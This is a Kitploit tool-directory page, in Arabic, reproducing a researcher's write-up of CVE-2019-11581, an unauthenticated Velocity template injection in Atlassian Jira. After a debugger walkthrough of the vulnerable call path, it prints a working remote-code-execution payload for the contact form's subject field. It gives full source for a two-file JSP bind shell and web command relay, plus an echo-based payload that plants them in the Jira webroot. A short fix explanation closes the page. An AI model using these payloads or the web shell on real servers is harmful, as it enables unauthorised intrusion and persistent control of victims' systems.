Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-11581 — حقن القوالب بدون مصادقة في Atlassian Jira | Kitploit
أدوات/GitHubGitHub/petrusviet/cve-2019-11581
تحليل الثغرات الأمنيةالاستغلالشيل كوداستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولات
GitHubpetrusviet/cve-2019-11581

CVE-2019-11581

حقن القوالب بدون مصادقة في Atlassian Jira

عرض المستودع
6259منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

حقن قوالب بدون مصادقة في Atlassian Jira (CVE-2019-11581)

I) البناء

1. الإصدارات المتأثرة

root@kitploit:~
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)

2. البناء والتصحيح

  • عدّل قيمة set JVM_SUPPORT_RECOMMENDED_ARGS= في الملف ./bin/setenv.bat (أو ما يعادله في ./bin/setenv.sh لنظام لينكس) لتتمكن من تشغيل التصحيح عن بُعد
root@kitploit:~
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
  • في IDE (Intellij) أنشئ Debug Configurations: Remote JVM Debug مع قيمة host و port لتكون localhost:5005 و Command line aguments for remote JVM
root@kitploit:~
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
  • شغّل الملف ./bin/config.bat (أو config.sh في لينكس) وعدّل "Jira home" إلى مجلد jira home الخاص بك image

  • شغّل الملف ./bin/start-jira.bat (أو ./bin/start-jira.sh في لينكس). تحقق من أن إصدار جافا والمنفذين 8080 و5005 متاحان، وإلا فلن يعمل!

  • نختار الوضع الخاص (private mode) image

  • في هذه الخطوة، تذكّروا استخدام عنوان بريد إلكتروني يمكنه استقبال الإيميل :) image

  • أكملوا الإعدادات (Conf) واختبروا الاتصال بشكل كامل image

  • في http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa فعّل ميزة Contact Administrators Form image

  • سأذكر بعض الملاحظات فقط عند البناء، يمكنكم الاطلاع على بناء Jira من المصدر

II) التحليل

بعد قراءة الإشعار الأمني علمنا أن هذا الخطأ يقع في ContactAdministrators و SendBulkMail (وهذا الأخير سأتجاهله لأنه يتطلب مصادقة). لذلك بدأت باختبار ميزة ContactAdministrators والتقاط الطلب

image

  • لاحظت أن الطلب يذهب إلى /secure/ContactAdministrators.jspa، لذا نظرت إلى الملف ./atlassian-jira/WEB-INF/web.xml لمعرفة أي class سيُوجَّه إليه هذا الطلب
    image
    image

  • بهذا تتم معالجة الطلب في JiraWebworkActionDispatcher، لذا وضعت نقطة توقف (breakpoint) في init و server في هذا class وشغّلت التصحيح image

  • وهكذا توقف البرنامج عند الدالة server، وبعد تتبّع قليل انتقل البرنامج إلى ContactAdministrators.doExecute() image

  • ثم مررنا عبر send، وهنا يعرض البرنامج قائمة بحسابات الأدمن النشطة image

  • ثم يمر البرنامج عبر الدالة sendTo. هنا نرى أن البرنامج ينشئ MailQueueItem ويضيفه إلى mailQueue. image

  • يستدعي البرنامج الدالة EmailBuilder.withSubject. هنا يتم تحويل نص موضوع البريد الإلكتروني (الذي يرسله المهاجم) من String إلى TemplateSources وتُسند إلى المعامل subjectTemplate في EmailBuilder. image

  • في الدالة renderLater ينشئ البرنامج EmailRenderer ويستخدمه لإنشاء RenderingMailQueueItem image

  • من هنا، عند العودة إلى الدالة ContactAdministrators.sendTo، بعد إنشاء MailQueueItem يضيف البرنامج العنصر إلى mailQueue ثم يعود إلى دالة doExecute لإجراء Redirect. إذا اتبعنا مسار التصحيح هذا فلن نتمكن من الوصول إلى الجزء الذي يعرض فيه البرنامج البريد الإلكتروني، وبالتالي لا يمكن الوصول إلى النقطة التي يحدث فيها حقن القالب. فماذا أفعل لتتبّع معالجة البريد الإلكتروني؟؟؟

  • رأيت أن في EmailRenderer دالة renderNow (والبرنامج يستدعي renderLater فقط). توقعت أنه عندما يُستدعى البريد الموجود في queue ليتم عرضه، فإنه سيسلك نفس مسار renderNow، لذلك قررت التتبّع بدءًا من الدالة renderNow image

  • من renderNow يستدعي البرنامج EmailRenderer.render(). وضعت نقطة توقف هنا وأعدت إرسال الطلب لأرى إن كان البرنامج سيصل فعلاً إلى هذه النقطة image

  • لحسن الحظ، سار البرنامج في الاتجاه الذي توقعته. بعدها استدعى البرنامج renderEmailSubject image

  • ثم يستدعي البرنامج DefaultVelocityTemplatingEngine.render(this.subjectTemplate) image

  • نصل إلى DefaultVelocityTemplatingEngine.applying و DefaultVelocityTemplatingEngine.asPlainText image

  • ثم يواصل الاستدعاء إلى asPlainText(Writer writer) image

  • نصل إلى toWriterImpl، ولأن writer الذي مررته هو Fragment، يقفز البرنامج إلى else

root@kitploit:~
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
            if (this.source instanceof File) {
                File template = (File)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
            } else if (this.source instanceof Fragment) {
                Fragment fragment = (Fragment)this.source;
                if (attachCartridge) {
                    this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                }

                DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
            }

        }
  • ثم يستدعي DefaultVelocityManager.writeEncodedBodyForContent image
  • ثم نواصل عبر VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). هنا أنشأ البرنامج SimpleNode من Reader image
  • يصل البرنامج إلى الدالة render، حيث يستدعي nodeTree.render(ica, writer); لتحليل قالب Velocity، وبالتالي يمكن أن يحدث حقن القالب هنا!
root@kitploit:~
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var13) {
                throw new ParseErrorException(var13);
            } catch (RuntimeException var14) {
                throw var14;
            } catch (Exception var15) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var15);
                throw new VelocityException(msg, var15);
            }

            nodeTree.render(ica, writer);       ### Có thể RCE ở đây ###
        } finally {
            ica.popCurrentTemplateName();
        }

        return true;
    }
  • لقد استبدلت موضوع بريد contact الإلكتروني بحمولة قالب Velocity:
root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

image

  • وقد نجحنا في إعادة إثبات الفكرة (PoC) بنجاح :) image

مكدس الاستدعاءات

root@kitploit:~
ContactAdministrators:	doExecute -> send -> sendTo
	-> EmailBuilder -> renderLater
	
RenderingMailQueueItem: send
	-> emailRenderer: render -> renderEmailSubject
		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
			-> DefaultVelocityManager: writeEncodedBodyForContent
				->VelocityEngine: evaluate
					> RuntimeInstance: evaluate -> evaluate -> render
						=>  SimpleNode: render
	

إذاً أصبح بإمكاننا تنفيذ الأكواد عن بُعد (RCE) على خادم Jira، لكن ماذا لو أردنا الحصول على shell وكان الخادم لا يملك اتصالاً صادرًا (outbound)؟ في هذه الحالة لا يمكننا إنشاء bind/reverse shell بالطريقة المعتادة لأنه لا توجد منافذ متاحة للوصول إلى الإنترنت.

تلقيت اقتراحًا من الأخ @honson97: "استخدم صفحة JSP لاستقبال المدخلات من المهاجم ثم مرّرها إلى bind shell يعمل بشكل مستقل ويستمع على localhost الخاص بالخادم نفسه".

image

من هذه الفكرة، كتبت ملفي JSP هما web.jsp و blind.jsp. blind.jsp يعمل كـ blind shell، يستمع دائمًا على localhost:4444 لاستقبال الأوامر المُدخلة إلى cmd/base وإرجاع النتائج إلى صفحة web.jsp، و web.jsp هي الأداة التي يستخدمها المهاجم لإدخال/إخراج الأوامر.

ملف: web.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  Socket socket = new Socket( "127.0.0.1", 4444 );
  
  OutputStream output = socket.getOutputStream();
  PrintWriter writer = new PrintWriter(output, true);
  writer.println(request.getParameter("cmd"));
  
  InputStream input = socket.getInputStream();
  DataInputStream dis = new DataInputStream(input);
  String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
        
	socket.close();
  
%>

ملف: bind.jsp

root@kitploit:~
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
  class StreamConnector 
  {
    InputStream md;
    OutputStream ao;

    StreamConnector( InputStream md, OutputStream ao )
    {
      this.md = md;
      this.ao = ao;
    }

    public void run()
    {
      BufferedReader yw  = null;
      BufferedWriter enf = null;
      try
      {
        yw  = new BufferedReader( new InputStreamReader( this.md ) );
        enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
        char buffer[] = new char[8192];
        int length  = yw.read( buffer, 0, buffer.length); 
        enf.write( buffer, 0, length );
        enf.flush();
      } catch( Exception e ){}
      
    }
	
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
	
    Process process = Runtime.getRuntime().exec( ShellPath );
		
    while (true) {
     Socket client_socket = server_socket.accept();
	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
	 
	  Thread.sleep(1000);
	  
	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
	
      client_socket.close();
    }

  } catch( Exception e ) {}
  
%>

الخطوة التالية هي رفع الـ shell إلى الخادم. وبما أننا نفترض أن الخادم لا يملك اتصالاً صادرًا (outbound)، فلا يمكننا رفع الملف إلا باستخدام أمر echo. أولاً، أزلت حرف "\n" والأحرف الخاصة بالهروب (Escape Characters) باستخدام بايثون

root@kitploit:~
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)

ثم انسخ السلسلة الناتجة وضعها في الحمولة (payload)

root@kitploit:~
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()

بعد رفع الملفين web.jsp و bind.jsp، انتقل إلى /bind.jsp ثم افتح تبويبًا آخر للوصول إلى /web.jsp?cmd=COMMAND لاختبار الـ shell image

الإصلاح

في ContactAdministrators.sendTo()، بدلاً من تمرير مدخلات العميل مباشرةً إلى الدالة EmailBuilder.withSubject لتحويلها إلى مصادر قالب قابلة للعرض (TemplateSources)، قام المطوّرون في الإصدار المصلَّح بإدخال المدخلات كسياق نصي (string context) واكتفوا بتمرير النص "$subject" إلى الدالة EmailBuilder.withSubject. عند العرض، ينفّذ النظام قالب "$subject" أي أنه يحمّل الموضوع - سياق النص (مدخلات العميل) - دون أن يقوم بعرضها. بعبارة أخرى، يحمّل البرنامج المدخلات كنص وليس كقالب قابل للعرض.

image الإصدار المتأثر

image الإصدار المصلَّح

تنزيل الأداة